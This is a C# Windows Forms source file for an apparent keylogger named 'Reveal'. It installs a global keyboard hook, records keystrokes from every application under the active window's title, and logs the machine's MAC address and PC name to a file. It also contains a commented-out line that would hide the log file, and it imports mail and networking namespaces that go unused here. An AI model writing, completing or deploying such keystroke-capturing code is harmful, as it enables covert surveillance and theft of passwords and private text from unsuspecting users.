using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Threading; using Keystroke.API; using System.IO; using System.Diagnostics; using System.Net.NetworkInformation; using System.Net.Mail; using System.Net; namespace Reveal { public partial class Form1 : Form { public Form1() { InitializeComponent(); } [DllImport("user32.dll")] static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll")] static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count); string path = @"D:\reveal log\log.txt"; string dir = @"D:\reveal log"; private void button1_Click(object sender, EventArgs e) { } string macAddr = ( from nic in NetworkInterface.GetAllNetworkInterfaces() where nic.OperationalStatus == OperationalStatus.Up select nic.GetPhysicalAddress().ToString() ).FirstOrDefault(); string pcname = System.Environment.MachineName; private void Form1_Load(object sender, EventArgs e) { label1.Focus(); //MAC & PC NAME if (!Directory.Exists(dir)) { // Try to create the directory. DirectoryInfo di = Directory.CreateDirectory(dir); } StreamWriter sw = new StreamWriter(path, true); // File.SetAttributes(path, FileAttributes.Hidden); sw.Write("MAC Address: "); sw.Write(macAddr); sw.Write(" "); sw.Write("PC Name: "); sw.Write(pcname); sw.Write(Environment.NewLine); sw.Write(Environment.NewLine); sw.Close(); Process currentp = Process.GetCurrentProcess(); string gavt = null; int n = 0; using (var api = new KeystrokeAPI()) api.CreateKeyboardHook((character) => { if (gavt == GetActiveWindowTitle()) { if (character.ToString() == "" && n == 1) { var text = textBox1.Text; try { textBox1.Text = text.Remove(text.Length - 1); } catch { } } else if (character.ToString() == "" && n == 0) { textBox1.Text += ""; gavt = GetActiveWindowTitle(); } else { textBox1.Text += ((character).ToString()); //gavt = GetActiveWindowTitle(); n = 1; } } else { textBox1.Text += Environment.NewLine; textBox1.Text += Environment.NewLine; n = 0; textBox1.Text += "Application Name==> " + GetActiveWindowTitle() + Environment.NewLine + "Text==> "; gavt = GetActiveWindowTitle(); if (character.ToString() == "" && n == 1) { var text = textBox1.Text; try { textBox1.Text = text.Remove(text.Length - 1); } catch { } } else if (character.ToString() == "" && n == 0) { textBox1.Text += ""; gavt = GetActiveWindowTitle(); } else { textBox1.Text += ((character).ToString()); gavt = GetActiveWindowTitle(); n = 1; } } }); } private void button2_Click(object sender, EventArgs e) { } private void button3_Click(object sender, EventArgs e) { } private string GetActiveWindowTitle() { const int nChars = 256; StringBuilder Buff = new StringBuilder(nChars); IntPtr handle = GetForegroundWindow(); if (GetWindowText(handle, Buff, nChars) > 0) { return Buff.ToString(); } return ""; } } }